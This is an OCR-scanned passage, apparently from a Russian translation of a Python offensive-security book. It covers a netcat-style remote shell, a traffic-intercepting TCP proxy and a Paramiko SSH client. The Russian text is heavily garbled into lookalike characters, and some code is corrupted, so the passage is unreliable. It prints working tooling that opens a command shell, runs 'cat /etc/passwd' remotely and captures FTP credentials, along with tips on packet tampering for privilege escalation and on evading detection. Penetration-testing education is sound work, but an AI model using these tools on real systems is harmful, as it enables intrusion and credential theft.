0060J104Ka KIET [IePeBO/a CTPOKH, YTO eJIaeT ee COBMeCTUMON ¢ netcat. To ecThb
BBl MOKETE MCII0JIb30BaTh Ty IPOrPaMMy Ha CTOPOHE CJIyIIaTeis, a netcat — Ha
cropone ornpasutesist. Ho eciin XoTuTe 00IIATHCS € HEll ¢ MOMOIIBI0 COOCTBEH-
HOTO KJIeHTa, HanncanHoro Ha Python, He 3a0yabre 106aBUTh CUMBOJI TEPEBO/IA
crpoku. Kak Buute, Mbl caMu 9T0 J1eJ1aeM B MeTojie send IocJIe TIOJIyYeHns BBOAA
13 KOHCOJIM.

MpoBepka HaNUcAHHOro

Teneps MoakcriepuUMEeHTUPYEM € TOJIYUYEHHOU MPOrpaMMoil M TOCMOTPUM, YTO
OHa BBIBOAUT. B 01THOM TepMUHaJIe NN KOMaHHON 060J104Ke cmd . exe 3amycrure
Cﬂeﬂylomﬂﬁ CKPHUIIT C apTYMEHTOM --help:
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$ python netcat.py --help
usage: netcat.py [-h] [-c] [-e EXECUTE] [-1] [-p PORT] [-t TARGET] [-u UPLOAD]

BHP Net Tool

optional arguments:
-h, --help show this help message and exit
-c, --command initialize command shell
-e EXECUTE, --execute EXECUTE
execute specified command
-1, --listen listen
-p PORT, --port PORT specified port
-t TARGET, --target TARGET
specified IP
-u UPLOAD, --upload UPLOAD
upload file

Example:
netcat.py -t 192.168.1.108 -p 5555 -1 -c # KomaHgHasa obonoyka
netcat.py -t 192.168.1.108 -p 5555 -1 -u=mytest.txt # 3arpyxaem B daiin
netcat.py -t 192.168.1.108 -p 5555 -1 -e="cat /etc/passwd"
# BbINONHAEM KOMaHAy
echo 'ABCDEFGHI' | ./netcat.py -t 192.168.1.108 -p 135
# wnem noKanbHLIN TEeKCT Ha nopT cepBepa 135
netcat.py -t 192.168.1.108 -p 5555 # coeauHAemca cC cepBepom

Tenepp nepeiipure B cucremy Kali u 3amycrure ciyiiartesist ¢ UCHOJIb30BaHUEM
coberBernoro IP-aapeca u mopra 5555, 4T0ObI TPEAOCTABUTH AOCTYI K KOMAHIHON
0060JI04Ke;

$ python netcat.py -t 192.168.1.203 -p 5555 -1 -c

OTKpoTiTe ellle OIUH TEPMUHAT B CBOEH JIOKAJIBHON CUCTEME U 3aITyCTUTE CKPUTIT
B KJINEHTCKOM pesknmMe. [loMmHMTE, OH ynTaeT u3 stdin /10 TeX 1op, moxa He 1moy-
gyt curtan o kKouue daiina (end-of-file, EOF). Uro6n1 nociars EOF, naxmure
Ha xnasuarype Ctrl+D:

% python netcat.py -t 192.168.1.203 -p 5555
CTRL+D

<BHP:#> 1s -la

total 23497

drwxr-xr-x 1 502 dialout 608 May 16 17:12 .
drwxr-xr-x 1 502 dialout 512 Mar 29 11:23 ..
-rw-r--r-- 1 502 dialout 8795 May 6 10:10 mytest.png
-rw-r--r-- 1 502 dialout 14610 May 11 09:06 mytest.sh
-rw-r--r-- 1 502 dialout 8795 May 6 10:10 mytest.txt
-rw-r--r-- 1 502 dialout 4408 May 11 08:55 netcat.py

<BHP: #> uname -a
Linux kali 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kalil (2019-12-09)
Xx86_64 GNU/Linux
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Kak BuauTe, 1os1yuniyn coOCTBEHHYIO KOMaHIHYIO 060104KY. [[0CKOIbKY MbI Ha-
xomumcst B cucteMe Unix, TO MOKEM BBITIOJHSTD JIOKAJbHbIE KOMAH/IbI U TTOJTyYaTh
B OTBET MX BBIBOJI, KaK ecjii Obl BCe B3auMojeiicTBue npoucxoauio yepes SSH
WJIN JIOKAJAbHBIN TepMuna. Mbl MOKEM cles1aTh To ke camoe B cucteme Kali,
HO TaK, 4TOObI OHA BBIMIOJHIIA OTAEJbHYIO KOMaH/Ly. JIJIs1 9TOro BOCIIOIb3yeMcst
TapaMeTPoOM -e:

$ python netcat.py -t 192.168.1.203 -p 5555 -1 -e="cat /etc/passwd"

Teneps tpu mojkouerny kK Kali 3 jokanbHOM CHCTEMBI MBI IIOJIYYUM B OTBET
BbIBOJI KOMaH/IbI:

% python netcat.py -t 192.168.1.203 -p 5555

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

B s10kaIbHOI cucTEME TaksKe MOKHO ObLIO OBbI MCIIOIb30BaTh netcat:

% nc 192.168.1.203 5555
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

HaxoHerr, Mbl MOTJIH ObI BOCIIOJIb30BATHCsI KJIMEHTOM IS OTIIPABKH 3a1Ipoca cTa-
PBIM 10OPBIM CLIOCOOOM:

$ echo -ne "GET / HTTP/1.1\r\nHost: reachtim.com\r\n\r\n"
|python ./netcat.py -t reachtim.com-p 80

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Mon, 18 May 2020 12:46:30 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 229

Connection: keep-alive

Location: https://reachtim.com/

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
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<title>301 Moved Permanently</title>

</head><body>

<h1l>Moved Permanently</h1>

<p>The document has moved <a href="https://reachtim.com/">here</a>.</p>
</body></html>

Bot u Bce! Moskert, 9T0 1 He caMbIil U3BICKAHHBIHN MOIXOI, HO OH TTOCTYKUT XO-
potiieil 0CHOBOII /IJIst GBICTPOTO HATIMCAHUS KITMEHTCKUX ¥ CEPBEPHBIX COKETOB Ha
Python 1 ucniosnb3oBatust ux Bo Bpeji. Koneuto, aTa mporpaMma 0XBaTbhIBA€T JIUTIIb
sJIeMEHTaPHBIE TIPUHITUIIBE; YUTOObI €€ PACIITUPUTH UJIH YTy UIITUTh, BOCIOJIb3YHTECh
BooOpaskerueM. [labiie bl HaruiieM TCP-11pokeu, KOTOPBIN MOKET IPUTOANTH-
CS1 J1JI BCEBO3MOXKHBIX aTaK.

Hanucanne TCP-npokcu

Ectb Heckosbko mpuunH nMeTh B cBoeM apceHasie TCP-mipokceu. Ero MmoskHO ncnomnb-
30BaTh /74 TlepeHanpaniienns TpaduKa oT y371a K Y31y WK I IOCTYIA K CETEBOMY
[1O. ITpn BeITTOTHEHNY TECTUPOBAHUS HA TPOHIKHOBEHWE B KOPTIOPATUBHBIX CPeiax
y Bac, CKopee Bcero, He Oyzier Bo3MoKHOCTH 3ammycTuTh Wireshark, Bbr Takske He
CMOJKeTe 3arpy3UThb JipaiiBepbl /151 aHaIu3a TpadrKa Ha JIOKAIbHOM CEeTeBOM NHTEP-
deiice B Windows, a cerMenTaIsi CeTH He aCT BaM IPUMEHUTH CBOM HHCTPYMEHTbI
HEMOCPEe/ICTBEHHO Ha aTaKyeMOM KoMITbioTepe. Mbl Harmcasu na Python mpocteie
IIPOKCH-CEPBEPDI, TAKIE KaK TPEICTABICHHbII [ajiee, 4T00b BaM OBLIO Jierde paso-
OpaTbCst B HEM3BECTHBIX MPOTOKOJIAX, MOAUMDHUIINPOBATH TPadUK, TTepeaBaeMblil
MIPUJIOSKEHUIO, U CO3/IABATh TECTOBBIE CIIEHAPUH JITIsT CPE/ICTB (Da33nHTa.

[Tpokcu-cepBep COCTOUT M3 HECKOJbKUX YacTeil. /laBaiiTe ObICTPO MpoiigemMcst
IO YeThIPEeM TJIAaBHBIM (DYHKITUAM, KOTOPbIe HaM HYKHO HATHCATh. MBI TOTKHBI
BBIBOJIUTDH B3aMMOIENICTBIE MEKIY JIOKATHHON U yAATeHHOW CUCTEMAMU B KOH-
coJib (hexdump). HaM HY’>KHO IPUHUMATD IAHHBIE OT JIOKAJIBLHOM MW y/IATIeHHON
CUCTEMBI C TIOMOTI[BIO BXOJIATIETo cokeTa (receive_from). Mbl 0JKHBI OTIpejie-
JISITH HallpaBJieHne Tpahuka, KOTOPbIM OOMEHUBAIOTCS JIOKAJIbHASI U y/IaleHHAsT
cuctembl (proxy_handler). 1 HakoHeIl, 1OKHBI TOATOTOBUTH CJAYIIAIOIINAN COKET
U TIepesiaTh ero Hatmel ¢pyHKnun proxy_handler (server_loop).

[pucrynum. Cosnaiite daiisn c uMeHeM proxy . py:

import sys
import socket
import threading

HEX_FILTER = ''.join(®
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[(len(repr(chr(i))) == 3) and chr(i) or '."' for i in range(256)])

def hexdump(src, length=16, show=True):
if isinstance(src, bytes): @
src = src.decode()

results = list()
for i in range(@, len(src), length):
word = str(src[i:i+length]) ©

printable = word.translate(HEX_FILTER) @

hexa = ' '.join([f'{ord(c):02X}"' for c in word])

hexwidth = length*3

results.append(f'{i:04x} {hexa:<{hexwidth}} {printable}') ©
if show:

for line in results:

print(line)

else:

return results

CHavaa Mbl UMITIOPTUPYEM HECKOJIBKO MOJyJIell. 3aTeM ompesiesisieM hyHKITIIO
hexdump, KOTOpas IPUHKUMAET BBOJ B BUe OAUTOB U BHIBOAUT €0 B KOHCOJIb
B mecTHaanarepuaaoM ¢popmarte. To ecTh OHA TOKA3LIBAET COAEPIKIMOE TTAKETOB
U KaK MecTHAATIaTePUYHbIe 3HAUeHUs, U Kak medaTHbie cuMBoJibl ASCII. ITo mmo-
Moraet pa3oOpaThCs B HEM3BECTHBIX IIPOTOKOJIAX, OOHAPYKUTH YUETHbIE JaHHbIE
T0JTb30BaTeJIel, eCTU B3aUMO/IeiCTBIE He 3aIipPOBAaHO, U MHOTOE Apyroe. Mbr
co3naeM cTpoky HEXFILTER @ c meyatHpiMu cuMBoJsiamu ASCII, ectn cumBoat
HeIeyaTHBIH, BMECTO HETO BBIBOAUTCS TouKa (. ). B kauecTBe mpuMepa TOro, 4To
MOJKET COJIEPKATD ATA CTPOKA, BO3bMEM CUMBOJIHHOE IIPEJICTABIEHUE JIBYX 11€JIbIX
yrcest, 30 u 65, B uHTEpaKTUBHON 060/104Ke Python:

>>> chr(65)

X

>>> chr(30)

"\xle'

>>> len(repr(chr(65)))
3

>>> len(repr(chr(30)))
6

CumBoJIbHOE TIpecTaBIeHue 65 SIBJISETCS IeYaTHIM, 2 CHMBOJIBHOE TIPE/ICTABIIe-
nne 30 — net. Kak BuanTe, mpencTaBieHme MeYaTHOTO CHMBOJIA UMeET JITTUHY 3.
Bocnosbadyemcest atum (hakToM, 4TOOBI TIOJYYUTh HTOTOBYIO CTPOKY HEXFILTER:
MIPEIOCTaBIM CUMBOJI, €CJIU 3TO BO3MOKHO, MJIU TOUKY ( . ), €CJIM HET.

B criuckoBom Brmouennu (list comprehension), ¢ TOMOIIBIO KOTOPOTO CO3/1AETCS
CTPOKA, MPUMEHSIETCST METOI YKOPOUYEHHOTO BBHIUNCTIEHUS OYJIEeBBIX BBIPAsKEHUII,
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YTO 3BYYUT JOBOJHHO 3aMBICJIOBATO. JTO O3HAYAET: €CJIN JIJINHA CUMBOJIA, COOT-
BETCTBYIOIIETO 1[eJIoMY Yncity B inanasone 0...255, paBHa 3, Mbl OepeM caM CUMBOJT
(chr(i)), aecau HeT, TO TOUKY (. ). 3aTeM COeMHSIEM 3JIEMEHTHI CITUCKA B CTPOKY
MPUMEPHO TaKOTO BUA:

P V"#$%&\ " () *+,-./0123456789: ; <=>?@ABCDEFGHIJK
LMNOPQRSTUVIWXYZ[ . ]*_" abcdefghijkImnopgrstuviwxyz{|}~..cuveiune e rrneennnnenns
....... YyIur | §E@E"-. @I °+TirpYg- éNee"jSsiABBI AEX3UAKIMHONPCTYOXLMIILbbIbIHAa6B Aex3
MAKZMHOMP CTYOXLUYWIbbIb3t0s '

CriuckoBoe BKJIIOYEHUE TO3BOJISIET ITPEICTABUTH TIEPBbIe 256 1IeJIbIX Ynces1 B BUE
MeYaTHBIX CUMBOJIOB. Tenepb MOXKHO HarucaTh yHKITUIO hexdump. BHavyaste Hy:KHO
yOeUThCS B TOM, YTO MbI [IOJIYYHIN CTPOKY, JIsl TOTO JEKOAUPYEM CTPOKY Gaii-
TOB, ecJii OHa Oblia nepeana @. Jlasbiie GepeM 4acTh CTPOKU, KOTOPYIO HY/KHO
BBIBECTH, U TIPUCBANBAEM ee TepeMeHHoil word ©. Vcrnoab3yemM BCTPOEHHYIO
byHKIMIO translate, 4TOOBI MOJACTABUTH BMECTO KAXK/OT0 CUMBOJIA B HEOOpa-
6OTaHHOII CTPOKE ero CTPOKOBoe IpeicTasieHue (printable) @. Bmecte ¢ Tem
MO/ICTAaBJIAEM TTECTHAAIIATEPUYHOE TIPEACTABIEHNE TIeTOUNCIEHHOTO 3HAYEHUST
JUIST KasKJIOTO CUMBOJIA B MCXOHOM cTpoke (hexa). B KoHIle co3/1aeM HOBBI MacCUB
result [t XpaHEHUsI CTPOK, OH Oy/IeT CoepsKaTh IeCTHAAIIaTEPUYHOE 3HAUEHIEe
HHJIeKca epBoro OGaiita B cjioBe (word), IeCTHAAIIATEPHYHOE 3HAYEHHUE CJI0BA ¥ €10
revatHoe Tpe/icTaBienrie ©. BoIBO BBITIISIUT TaK:

>> hexdump( 'python rocks\n and proxies roll\n')
0000 70 79 74 68 6F 6E 20 72 6F 63 6B 73 OA 20 61 6E python rocks. an
0010 64 20 70 72 6F 78 69 65 73 20 72 6F 6C 6C OA d proxies roll.

Ita GYyHKIMS JaeT BO3MOKHOCTD HAOTIOAATh 32 TPAhUKOM, TIPOXO/ISAIIINM Yepe3
MIPOKCU-CEPBEP, B PEKIME PeasbHOT0 BpeMeHu. Tereppb HanuIeM (GyHKITHUIO, KO-
TOPYIO MPOrpaMMbl Ha 000MX KOHIIAX MPOKCH-cepBepa OYayT UCIIOIb30BaTh JIJIst
IpueMa JIaHHbIX:

def receive_from(connection):

buffer = b""
connection.settimeout(5) ©
try:
while True:
data = connection.recv(4096) @
if not data:

break
buffer += data
except Exception as e:
pass
return buffer
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JLtst HoJtyYeHust Kak JIOKaJIbHBIX, TaK U yIaJIeHHBIX JAHHBIX MBI TTepeaeM 00b-
€KT COKeTa, KOTOPbIN OY/IeT UCTIOIB30BaThCs B AasbHeieM. Co3maem mycTyio
6aiiToBYI0 CTPOKY buffer, B KOTOPOii OY/IyT HAKAILIMBATHCS OTBETDI, TOJYYCH-
Hble 3 cokera @. MbI yKa3piBaeM 10 YMOJYAHUTO BPEMS OKUIAHUS JJTUHON
ATH CeKyH/[ (TPU HEOGXOUMOCTH MOKETE €TI0 YBEJIUYUTD, TOCKOJBKY, €CJIH BbI
npokcupyere TpaduK B APYrre CTPAHbI UK MO CETSIM ¢ GOJNBITUMU MTOTEPSIMH,
TaKoe 3HaYeHNE MOKET 0Ka3aThCs CIAUITKOM KecTKUM ). [lofroTaBanBaem 1K,
4TOOBI 3aAlIUCHIBATH OTBETHBIE JIaHHbIE B buffer @, TI0Ka OHU He 3aKOHYATCS MU
He McTedeT BpeMst OJKuaHus. B KoHIle Bo3Bpaiaem 6aiiToByio cTpoKy buffer
BBI3BIBAIOIIEN CTOPOHE — €10 MOJKeT ObITh KaK JIOKaJbHasl, TaK W ylajJeHHas
cucTeMa.

Muorna Heo6xoanM0o MOAU(MULIIPOBATD IIAKETHI 3aIIPOCA UK OTBETA, IPEKIE YeM
IPOKCH-CEePBEP OTIPABUT UX 110 HaszHaveHuo. J{o6aBuM [1ist 9TOTO iBe PYHKIINH,
request_handler 11 response_handler:

def request_handler(buffer):
# moamduumpyem nakeTt
return buffer

def response_handler(buffer):
# moamduumpyem nakeTt
return buffer

BuyTtpu aTux GpyHKIINN MOKHO U3MEHSTH COJIEPKUMOE MMAKETOB, 3AHUMATbCS
(haz3uHrOM, OTJIaKMBATh TPOOJEMBI ¢ ayTeHTH(hUKAIINER — JIeTaTh BCE, YTO BaM
YTOZHO. DTO MOJKET TPUTOMTHCS, K IPUMEPY, €CJIN Bbl OOHAPYKUJIHN TIepeaady
YUYETHBIX JAHHBIX B OTKPBITOM BHJIE U XOTHTE MOITPOOOBATH MOBBICUTH CBOU MPH-
BUJIETHU B X0/Ie PaOOTBI C TPUJIOKEHUEM, ITEPe/IaB eMy admin BMECTO COOCTBEHHOTO
MMEHU 110JIb30BATEJIS.

Jlo6aBuMm cirepyomuii Kox 1 pasbepeM (GyHKINIO proxy_handler:

def proxy_handler(client_socket, remote_host, remote_port, receive_first):
remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_socket.connect((remote_host, remote_port)) ©

if receive_first: @
remote_buffer = receive_from(remote_socket)
hexdump (remote_buffer)

remote_buffer = response_handler(remote_buffer) ©
if len(remote_buffer):
print("[<==] Sending %d bytes to localhost." % len(remote_buffer))
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client_socket.send(remote_buffer)

while True:
local_buffer = receive_from(client_socket)
if len(local_buffer):
line = "[==>]Received %d bytes from localhost." % len(local_buffer)
print(line)
hexdump(local_buffer)

local_buffer = request_handler(local_buffer)
remote_socket.send(local_buffer)
print("[==>] Sent to remote.")

remote_buffer = receive_from(remote_socket)

if len(remote_buffer):
print("[<==] Received %d bytes from remote." % len(remote_buffer))
hexdump(remote_buffer)

remote_buffer = response_handler(remote_buffer)
client_socket.send(remote_buffer)
print("[<==] Sent to localhost.")

if not len(local_buffer) or not len(remote_buffer): @
client_socket.close()
remote_socket.close()
print("[*] No more data. Closing connections.™)
break

Irta QYHKIMS COAEPKUT OCHOBHYIO JIOTUKY Halllero Ipokcu-cepsepa. s Ha-
Jajia Mbl MOAKITIOUAEMCsT K yaieHnHomy ysuay @. 3arem ybes1aeMcsi B TOM, 4TO
He HY)KHO MHUIIMUPOBATH COeJAMHEHNE ¢ ylaJleHHON CTOPOHON U 3ampainBaTh
JlaHHbIE, IPEK/Ie YeM BXOUTD B TJIaBHLIN UK @ . HexoTopblie cepBephl 0sKuIa-
10T 3TOTO OT KJAneHToB (Harmpumep, FTP-cepBepbl 06bIYHO BHAYAJIE OTIIPABJISIOT
[PUBETCTBEHHOE cO00IIeH e ). 3aTeM Ha 000UX KOHIAX COCMHEHMS UCTIOIb3Y -
ercst yHkimst receive_from. OHa nmpuHUMaeT 0OBEKT COEIUHEHHOTO COKETA
U [oJiyvyaet JaHubie. Mbl coXpaHsieM COIEP:KUMOe MaKeTa, YTOObI T03Ke ero
MOZKHO OBLIIO TPOAHATU3UPOBATD B IOMCKAX Yero-Huby/Ib utitepecHoro. [labiie
repeziaeM BIBOZL (DYHKIINY response_handler © u oTTipaBiisieM IPUHSITHI Gydep
JIOKQJIbHOMY KJIMEHTY. B 0CTaIbHOM KOJI IIPOKCU-CEPBEPa JI0BOJIBHO IIPOCTOM: MBI
[IO/IFOTABJIMBAEM ITUKJI JIJIs1 HEIIPEPBIBHOIO YTEHUS JIAHHBIX JIOKAJbHOIO KJIMEHTa,
o6pabarbiBaeM MPOYUTAHHOE U [IEPEIAEM Pe3YJIBTAT YIAJIeHHOMY KJIUEHTY, 3aTeM
YUTAEM OTBET YIAJEHHOTO KJIneHTa, 00pabaThiBaeM MPOYNUTAHHOE U HepeaeM
pe3yJIbTaT JOKAJIbHOMY KJIMEeHTY. Tak ImpojioJiKaeTcs /10 TeX 1op, oKa JaHHble
He TlepecTanyT npuxoanTh. Koria 6oJbiiie He4ero OTIpaBsiTh HU HA OJHOM 13
KOHIIOB coefinHeHns @, MBI 3aKPBIBAEM JIOKATbHBIN 1 YATEHHBIH COKETHI U BBI-
XOJIUM M3 LIUKJIA.
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CoznmanuM pyHKIIHIO server_loop s HACTPORKHU COeTUHEHNS U YIIPABIEHUST FIM:

def server_loop(local_host, local_port,
remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ©
try:
server.bind((local_host, local_port)) @
except Exception as e:
print('problem on bind: %r' % e)

print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
print("[!!] Check for other listening sockets

or correct permissions.")
sys.exit(®@)

print("[*] Listening on %s:%d" % (local_host, local_port))
server.listen(5)
while True: ©
client_socket, addr = server.accept()
# BbIBOAMM WHPOPMaLMK O JIOKAJbHOM COEUHEHUN
line = "> Received incoming connection from %s:%d" % (addr[@], addr[1])
print(line)
# cospaem NOTOK ANA B3auUMOAEWCTBUA C yJaNieHHbM CepBepoM
proxy_thread = threading.Thread( @
target=proxy_handler,
args=(client_socket, remote_host,
remote_port, receive_first))
proxy_thread.start()

ODyukiust server_loop cosiaeT cokeT @, IPUBSI3bIBAET €r0 K JIOKAIbHOMY aJIPecy
1 HauMHAET MPoCaymuBarth @. B rinaBHom mukie ©, Koraa NpUXomauUT 3alpoc
Ha coeIMHEHNeE, MBI TTepeiaeM ero (YHKIINHU proxy_handler B HOBOM 1OTOKe @,
KOTOpas 3aHMMAaeTCs OTIHPABKOM U IIPUEeMOM OUTOB Ha TOM WU MHOM KOHI[E
IIOTOKA JaHHBIX.

Ocranock TOTBKO HaMUCaTh YHKIUIO main:

def main():

if len(sys.argv[1l:]) != 5:
print("Usage: ./proxy.py [localhost] [localport]", end="")
print("[remotehost] [remoteport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(®@)

local_host = sys.argv[1]

local_port = int(sys.argv[2])

remote_host = sys.argv[3]

remote_port = int(sys.argv[4])

receive_first = sys.argv[5]

if "True" in receive_first:
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receive_first = True
else:
receive_first = False

server_loop(local_host, local_port,
remote_host, remote_port, receive_first)
if __name__ == "'
main()

__main__":

B dynkmmm main Mpl mpuHUMaeM apryMeHTBbl KOMAH/HOM CTPOKH U 3aITyCKaeM
IIUKJI cepBepa st OKUAHUS COeMHEHWH.

MpoBepka HAaNUcAHHOroO

IqTaK,MLIHOHFOTOBHHHﬁOCHOBHOﬁZHHKﬂﬁHpOKCHFCCpBCpaIIBCHOMOFaTeﬂbem
ynxmuu. Tereps mpoBepuM, uToO y Hac mosryunyiock, Ha FTP-cepsepe. amycture
CBOI CKPHIIT CO CJIE/IYIOINMHI TTapaMeTPaMuU:

tim@kali: sudo python proxy.py 192.168.1.203 21 ftp.sun.ac.za 21 True

Mpsr ncriosrb3yeM 371ech sudo, TIOpT 21 MPUBUIIETMPOBAHHBIN, TIO9TOMY €0 TIPOCJTY-
muBaHue TpebyeT aJIMUHICTPATOPCKUX TIpuBHUIIernil. Terepb 3amycrure 0060
FTP-kmeHT 1 cenaiite Tak, 4ToObI B KQUECTBE YAAJIEHHOTO ajpeca U MopTa OH
ucriosibzosas localhost u mopr 21. Koneuno, Hy:kHo BeiGpath Takoii FTP-cepsep,
KOTOPBIiT Oyziet Bam oTBeuaTh. [Ipu pabore ¢ TectoBbiM FTP-cepBepom Mbl o1y -
YUJIN CJIeIYIONIMI Pe3yJIbTaT:

[*] Listening on 192.168.1.203:21

> Received incoming connection from 192.168.1.203:47360

[<==] Received 30 bytes from remote.

0000 32 32 30 20 57 65 6C 63 6F 6D 65 20 74 6F 20 66 220 Welcome to f
0010 74 70 2E 73 75 6E 2E 61 63 2E 7A 61 0D OA tp.sun.ac.za..
0000 55 53 45 52 20 61 6E 6F 6E 79 6D 6F 75 73 @D OA USER anonymous. .
0000 33 33 31 20 50 6C 65 61 73 65 20 73 70 65 63 69 331 Please speci
0010 66 79 20 74 68 65 20 70 61 73 73 77 6F 72 64 2E fy the password.
0020 0D 0A ..

0000 50 41 53 53 20 73 65 6B 72 65 74 0D OA PASS sekret..

0000 32 33 30 20 4C 6F 67 69 6E 20 73 75 63 63 65 73 230 Login succes
0010 73 66 75 6C 2E @D 0A sful...

[==>] Sent to local.
[<==] Received 6 bytes from local.

0000 53 59 53 54 @D 0A SYST..
0000 32 31 35 20 55 4E 49 58 20 54 79 70 65 3A 20 4C 215 UNIX Type: L
0010 38 @D 0A 8..

[<==] Received 28 bytes from local.

0000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORT 192,168,1,2
0010 30 33 2C 31 38 37 2C 32 32 33 @D @A 03,187,223..
0000 32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200 PORT command
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0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E successful. Con
0020 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 sider using PASV
0030 2E 0D 0A

[<==] Received 6 bytes from local.

0000 4C 49 53 54 oD 0A LIST..

[<==] Received 63 bytes from remote.

0000 31 35 30 20 48 65 72 65 20 63 6F 6D 65 73 20 74 150 Here comes t
0010 68 65 20 64 69 72 65 63 74 6F 72 79 20 6C 69 73 he directory lis
0020 74 69 6E 67 2E OD OA 32 32 36 20 44 69 72 65 63 ting...226 Direc

0030 74 6F 72 79 20 73 65 6E 64 20 4F 4B 2E oD 0A tory send OK...
0000 50 4F 52 54 20 31 39 32 2C 31 36 38 2C 31 2C 32 PORT 192,168,1,2
0010 30 33 2C 32 31 38 2C 31 31 @D GA 03,218,11..

0000 32 30 30 20 50 4F 52 54 20 63 6F 6D 6D 61 6E 64 200 PORT command
0010 20 73 75 63 63 65 73 73 66 75 6C 2E 20 43 6F 6E successful. Con
0020 73 69 64 65 72 20 75 73 69 6E 67 20 50 41 53 56 sider using PASV
0030 2E 0D OA .

0000 51 55 49 54 @D 0A QUIT..

[==>] Sent to remote.
0000 32 32 31 20 47 6F 6F 64 62 79 65 2E 0D 0A 221 Goodbye. ..

[==>] Sent to local.
[*] No more data. Closing connections.

B npyrom repmunasie Kali mbr unurmurposasu ceanc FTP, mogkmounsinuch k [P-
anpecy rocreBoit BM Kali ¢ ucmosbzoBatmem mopra mo ymosrdanmio 21:

tim@kali:$ ftp 192.168.1.203
Connected to 192.168.1.203.

220 Welcome to ftp.sun.ac.za

Name (192.168.1.203:tim): anonymous
331 Please specify the password.
Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.
ftp> 1s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

Irwxrwxrwx 1 1001 1001 48 Jul 17 2008 CPAN -> pub/mirrors/
ftp.funet.fi/pub/languages/perl/CPAN

Irwxrwxrwx 1 1001 1001 21 Oct 21 2009 CRAN -> pub/mirrors/
ubuntu.com

drwxr-xr-x 2 1001 1001 4096 Apr 03 2019 veeam

drwxr-xr-x 6 1001 1001 4096 Jun 27 2016 win32InetKeyTeraTerm
226 Directory send OK.

ftp> bye

221 Goodbye.

31ech SIBHO BUJIHO, YTO HAM Y/IAJIOCh MOJIYYNUTH TIPUBETCTBEHHOE COODIIEHME TI0
FTP u oripaBuTh MMsI 110J1b30BaTeIS U 11aPOJIb U UTO Halll [IPOKCU-CePBep 3aBep-
maet paboTy TpecKazyeMbIM 00pa3oM.
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SSH ¢ npumeHennem Paramiko

3ameHa netcat, KOTOPYO MbI CO3/IaJIH, IOBOJIBHO MTOJI€3HAst, HO MHOT/IA, YTOOBI BaC
He 0OHAPY KUJIH, CBOI TpahuK Jrydiire mudposarhk. JacTo 1t 9TOro CO34at0T TYH-
HeJIb ¢ ToMoTIbio mpoTokoa SSH. Ho uTo eciit Ha aTakyeMOM BaMU KOMITBIOTEPE
Her SSH-kimenTa, kak y 99,81943 % cucrem Windows?

Koneuno, g Windows ects orimmunbie SSH-kiuentsl, Takue xkak PuTTY, Ho
sra kuura o Python. B Python ms cosmanms SSH-kimernTa nim cepsepa MOKHO
HCII0JIB30BATH CHIPBIE COKETHI M UyTh-UyTh KPUIITOrPapUIECKOIT Maruu, HO 3a4eM
MICcaTh CaMHUM, €CJIU MOXKHO B34Th rotosoe? Ilaker Paramiko, ocnosanmnbrii na
PyCrypto, mpeocTaBJisieT MPOCTOI AOCTYT K MpoToKoTy SSH2.

YT06bI OKa3aTh, Kak paboTaeTr sTa OGUOIMOTEKA, CAETaeM C ee TIOMOIIbI0 He-
CKOJTPKO yIPaKHEeHUI: YCTAaHOBUM coenHeHNe U BRITTOHUM 110 SSH koManmy
B yIaJieHHoii cucteme, moarotrosuM SSH-kiauent u SSH-cepsep 1 peansaliun
yIaJeHHBIX KOMaH/l Ha KoMmibioTepe ¢ Windows U, HaKOHell, IIpoaHaTM3uPyeM
(aiin ¢ gemoHCcTpalueil 06paTHOrO TYHHEJsI, BXoAANmi B coctaB Paramiko.
[Ipucrynnm.

[l mauasia ycraHoBute mmaker Paramiko ¢ momoripio pip (Min ckadaiite ero Ha
caiite http://www.paramiko.org/):

pip install paramiko

[Tos:ke Mbl Oy1EM NCIIOJIB30BATh HECKOIBKO I€MOHCTPALMOHHBIX (haiiIOB, HOITOMY
He 3a0y1bre cKavaTh ux us perosutopust Paramiko na GitHub (https://github.com/
paramiko/paramiko/).

Cospaiite daiisn ¢ uMeHeM ssh_cmd. py 1 HabepuTe CJeayrolee:

import paramiko

def ssh_command(ip, port, user, passwd, cmd): ©
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) @
client.connect(ip, port=port, username=user, password=passwd)

_, stdout, stderr = client.exec_command(cmd) ©
output = stdout.readlines() + stderr.readlines()
if output:
print('--- Output ---')
for line in output:
print(line.strip())
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if __name__ == '__main__':
import getpass O
# user = getpass.getuser()
user = input('Username: ')
password = getpass.getpass()

ip = input('Enter server IP: ') or '192.168.1.203'
port = input('Enter port or <CR>: ') or 2222

cmd = input('Enter command or <CR>: ') or 'id'
ssh_command(ip, port, user, password, cmd) ©

Mpi coznaem yukmmio ssh_command @, kotopas nojk/ouaercss kK SSH-cepsepy
U BBITIOJHSIET OT/IEAbHYI0 KoMaHy. CiieryeT OTMETHTbD, UTO BMECTO MapoJis (Min
B Jlo1o/iHeHne K Hemy ) Paramiko mo3BosisteT nCmosib30Bath st ay TeHTH(DUKAIN
